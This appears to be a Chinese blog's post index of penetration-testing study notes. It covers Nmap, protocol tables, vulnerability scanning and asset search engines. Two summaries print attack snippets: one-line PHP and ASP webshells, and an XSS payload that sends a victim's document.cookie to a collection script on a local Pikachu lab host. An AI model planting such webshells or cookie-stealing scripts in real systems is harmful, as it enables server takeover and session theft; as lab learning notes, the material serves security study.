摘要： 1，php文件中 <?php @eval($_POST[command]);?> 2，asp<%execute(request("1"))%> 3，aspx <%@ Page Language="Jscript"%> 4，java <% new javax.script.ScriptEngineMa 阅读全文

摘要： 1，发给攻击目标 <script>document.location='http://127.0.0.1:801/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script> <script>document.location 阅读全文

摘要： https://www.cnblogs.com/Java-Script/p/11095648.html 阅读全文

摘要： https://www.zhihuclub.com/34330.shtml https://www.crazyengineers.com/threads/which-one-is-better-jsp-php-asp-net-python.41655 https://blog.csdn.net/qq 阅读全文

摘要： 1，下载和安装顺利 2，启动时需要linux的头文件。下载安装后启动仍无效。 3，github上下载、安装并编译 git clone https://github.com/mkubecek/vmware-host-modules.gitcd vmware-host-modulesgit checko 阅读全文

摘要： 在已经探知可用应用/服务后。进一步挖掘安全问题。其实这才是渗透测试的核心任务 1，漏洞分类 本地还是远程？ 哪一层？哪一部分？ 设计？实施？运营？ 2，检测思路 人工还是自动化？ 命令行还是gui？ 单步还是一些列流程？ 3，漏洞检测工具 OpenVAS、Appscan CiscoTools Fuz 阅读全文

摘要： 0，burpsuite抓包文件和os-shell 1，有无和存活探测 TCP扫描选项 只有操作系统的高权限用户（ UNIX 环境下的 root 级别用户或者 Windows 下的administrator级别用户）才能使用Nmap多数选项。程序需要相应的权限才能发送和接收原始数据包。默认情况下，Nm 阅读全文

摘要： 0 HOPOPT IPv6 逐跳选项1 ICMP Internet 控制消息2 IGMP Internet 组管理3 GGP 网关对网关4 IP IP 中的 IP（封装）5 ST 流6 TCP 传输控制7 CBT CBT8 EGP 外部网关协议9 IGP 任何专用内部网关（Cisco 将其用于 IG 阅读全文

摘要： 1，抓包软件会去除帧的前导同步码、帧开始分界符、FCS，故6+6+2+46=60，46为必备要求，否则填充之。6+6+2+1500=1514参见，https://blog.csdn.net/farmwang/article/details/641313182，ip包头最短20字节，最长60字节。变化 阅读全文

摘要： https://fofa.info/ https://www.censys.io/ https://www.zoomeye.org/ https://www.dnsdb.io/ 阅读全文